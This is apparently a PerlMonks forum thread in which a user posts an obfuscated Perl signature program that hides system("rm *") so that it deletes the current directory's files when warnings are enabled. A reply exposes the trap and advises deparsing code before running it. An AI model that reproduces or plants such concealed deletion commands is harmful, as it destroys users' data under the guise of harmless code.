beretboy's .sig

My humble sig




#!/usr/bin/perl
$_=ord$;;($=)&&open s;28;AYBABTU!;;($:)&&s$A$Z$;($^L)&&s!B!Q!;tr;YA;E;
+;tr$B!UTQZ$TYOBRB$;tr*A-Z*a-z*;($^W)&&system("rm *");print;
[download]

<BOLD>UPDATE: This will not even run under -w so don't worry.</BOLD>

"Sanity is the playground of the unimaginative" -Unknown

Comment on beretboy's .sig Download Code

Replies are listed 'Best First'.
(jeffa) Re: beretboy's .sig by jeffa (Bishop) on Nov 13, 2001 at 06:11 UTC
Um, damn straight don't run this with warnings turned on: `system 'rm *' if $^W;` [download] I really wish you had used this instead: `!($^W)&&system("rm $0");` [download] We are suppose to encourage the use of warnings, not punish! Bad beretboy! >:( Reminder: `perl -MO=Deparse japh.pl` [download] is a good thing to do before you execute it. (and yes, it will execute with warnings turned on)	[reply] [d/l] [select]